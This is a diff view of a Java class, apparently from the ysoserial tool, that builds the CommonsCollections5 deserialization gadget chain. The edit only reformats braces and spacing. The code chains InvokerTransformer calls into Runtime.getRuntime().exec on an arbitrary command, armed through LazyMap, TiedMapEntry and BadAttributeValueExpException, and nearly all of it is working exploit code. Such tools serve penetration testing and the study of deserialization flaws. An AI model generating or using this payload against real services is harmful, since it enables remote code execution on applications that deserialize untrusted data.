|
48 | 48 | public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> { |
49 | 49 |
|
50 | 50 | public BadAttributeValueExpException getObject(final String command) throws Exception { |
51 | | - final String[] execArgs = new String[] { command }; |
| 51 | + final String[] execArgs = new String[]{command}; |
52 | 52 | // inert chain for setup |
53 | 53 | final Transformer transformerChain = new ChainedTransformer( |
54 | | - new Transformer[]{ new ConstantTransformer(1) }); |
| 54 | + new Transformer[]{new ConstantTransformer(1)}); |
55 | 55 | // real chain for after setup |
56 | | - final Transformer[] transformers = new Transformer[] { |
| 56 | + final Transformer[] transformers = new Transformer[]{ |
57 | 57 | new ConstantTransformer(Runtime.class), |
58 | | - new InvokerTransformer("getMethod", new Class[] { |
59 | | - String.class, Class[].class }, new Object[] { |
60 | | - "getRuntime", new Class[0] }), |
61 | | - new InvokerTransformer("invoke", new Class[] { |
62 | | - Object.class, Object[].class }, new Object[] { |
63 | | - null, new Object[0] }), |
| 58 | + new InvokerTransformer("getMethod", new Class[]{ |
| 59 | + String.class, Class[].class}, new Object[]{ |
| 60 | + "getRuntime", new Class[0]}), |
| 61 | + new InvokerTransformer("invoke", new Class[]{ |
| 62 | + Object.class, Object[].class}, new Object[]{ |
| 63 | + null, new Object[0]}), |
64 | 64 | new InvokerTransformer("exec", |
65 | | - new Class[] { String.class }, execArgs), |
66 | | - new ConstantTransformer(1) }; |
| 65 | + new Class[]{String.class}, execArgs), |
| 66 | + new ConstantTransformer(1)}; |
67 | 67 |
|
68 | 68 | final Map innerMap = new HashMap(); |
69 | 69 |
|
70 | 70 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); |
71 | 71 |
|
72 | 72 | TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); |
73 | 73 |
|
| 74 | + |
74 | 75 | BadAttributeValueExpException val = new BadAttributeValueExpException(null); |
75 | 76 | Field valfield = val.getClass().getDeclaredField("val"); |
76 | | - Reflections.setAccessible(valfield); |
| 77 | + Reflections.setAccessible(valfield); |
77 | 78 | valfield.set(val, entry); |
78 | 79 |
|
79 | 80 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain |
|
0 commit comments